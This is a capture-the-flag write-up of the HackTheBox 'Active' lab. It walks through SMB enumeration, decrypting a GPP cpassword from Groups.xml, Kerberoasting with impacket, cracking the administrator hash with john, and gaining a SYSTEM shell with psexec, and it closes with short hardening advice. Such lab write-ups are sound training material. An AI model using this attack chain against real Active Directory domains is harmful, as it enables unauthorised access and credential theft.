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Writeup - Active (HTB)
4 min read

Writeup - Active (HTB)

Writeup - Active (HTB)

This is a writeup for the Active machine from the HackTheBox site.


First, let's start with a scan of our target with the following command:

nmap -sV -T4 -Pn

Many TCP ports are discovered:


First of all, let's make an enumeration of the users/shares with the following command:

enum4linux -a

You can find a certain amount of information, but above all, a share is available for reading as an anonymous person. Let's see what we can find inside. To connect I use the following command:

smbclient --no-pass //

In the share there are two folders, one of which is of particular interest to me: Policies. In this folder I find the file Groups.xml which contains information allowing the exploitation of the machine.

Exploiting GPP SYSVOL (Groups.xml) | VK9 Security
Group Policy Preferences (GPP) was introduced in Windows Server 2008, and among many other features, allowed administrators to modify users and groups across their network. Group Policy Preferences is a collection of Group Policy client-side extensions that deliver preference settings to domain-join…

And indeed in the file I find 2 important information: name and cpassword.

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>

As explained in the article above it is possible to decrypt the cpassword with the gpp-decrypt command.

We can therefore deduce the following credencials:

user : active.htb\SVC_TGS
pass : GPPstillStandingStrong2k18

I now look at the permissions I have with these credentials:

I now have access to the share Users, let's see what's inside:

I quickly find the first flag on the desktop of the SVC-TGS user:

Privilege escalation

To realize the elevation of privilege and since I have the credential of a user, I will do a Kerberoasting.

Kerberoasting is a post-exploitation attack that extracts service account credential hashes from Active Directory for offline cracking.

To perform the hashes extraction I will use the following command:

impacket-GetUserSPNs active.htb/SVC_TGS -dc-ip -outputfile output.txt -request
└─$ cat output.txt 

Bingo, the command finds the hash of the administrator of the machine, now we can perform a dictionary attack locally using john. To do this I use the following command:

john output.txt --wordlist=Documents/wordlist/rockyou.txt

After a few seconds, John gives me the password for the administrator account: Ticketmaster1968.

I can verify that the credentials work well with smbmap :

Then I can create a reverse shell with psexec:

I now have a shell as NT authority authority and I can get the last flag.

C:\Users\Administrator\Desktop> more root.txt


To patch this host I think it would be necessary to perform a number of actions:

  • Do not leave the Policies file accessible to everyone
  • Disable SMB anonymous access
  • Use a strong password for the administrator account

Owned Active from Hack The Box!
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